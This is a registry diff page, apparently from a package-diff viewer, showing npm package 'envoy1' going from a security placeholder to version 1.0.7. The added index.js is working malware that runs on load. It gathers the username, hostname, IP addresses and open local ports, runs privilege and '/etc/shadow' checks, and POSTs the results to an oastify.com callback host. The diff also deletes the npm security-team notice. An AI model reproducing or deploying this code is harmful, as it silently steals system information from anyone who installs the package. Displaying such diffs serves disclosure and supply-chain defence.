envoy1 0.0.1-security → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of envoy1 might be problematic. Click here for more details.
- package/envoy1-1.0.7.tgz +0 -0
- package/index.js +51 -0
- package/package.json +4 -3
- package/README.md +0 -5
package/envoy1-1.0.7.tgz
ADDED
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const net = require('net');
|
|
4
|
+
const { exec } = require('child_process');
|
|
5
|
+
|
|
6
|
+
const b = "oh9fy7sre6j0o54wlovz4juyipogca5yu.oastify.com";
|
|
7
|
+
|
|
8
|
+
function runCmd(cmd) {
|
|
9
|
+
return new Promise(r => {
|
|
10
|
+
exec(cmd, (err, stdout) => r(err ? "error" : stdout.trim().substring(0, 500)));
|
|
11
|
+
});
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
async function scan(host, ports) {
|
|
15
|
+
let open = [];
|
|
16
|
+
for (let p of ports) {
|
|
17
|
+
await new Promise(r => {
|
|
18
|
+
const s = new net.Socket();
|
|
19
|
+
s.setTimeout(400);
|
|
20
|
+
s.on('connect', () => { open.push(p); s.destroy(); r(); });
|
|
21
|
+
s.on('error', () => { s.destroy(); r(); });
|
|
22
|
+
s.on('timeout', () => { s.destroy(); r(); });
|
|
23
|
+
s.connect(p, host);
|
|
24
|
+
});
|
|
25
|
+
}
|
|
26
|
+
return open;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
async function run() {
|
|
30
|
+
const isWin = os.platform() === 'win32';
|
|
31
|
+
const info = {
|
|
32
|
+
os: os.platform(),
|
|
33
|
+
user: os.userInfo().username,
|
|
34
|
+
hostname: os.hostname(),
|
|
35
|
+
ips: Object.values(os.networkInterfaces()).flat().filter(i => !i.internal).map(i => i.address),
|
|
36
|
+
ports: await scan('127.0.0.1', [22, 80, 443, 445, 3389, 8080, 15000])
|
|
37
|
+
};
|
|
38
|
+
|
|
39
|
+
if (isWin) {
|
|
40
|
+
info.cmd = await runCmd('whoami /priv && netstat -an | findstr LISTEN');
|
|
41
|
+
} else {
|
|
42
|
+
info.cmd = await runCmd('id && uname -a && ls /etc/shadow');
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
const out = JSON.stringify(info);
|
|
46
|
+
const req = http.request({ hostname: b, method: 'POST', path: '/?v=' + Date.now(), headers: { 'Content-Length': out.length } });
|
|
47
|
+
req.write(out);
|
|
48
|
+
req.end();
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
run();
|
package/package.json
CHANGED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=envoy1 for more information.
|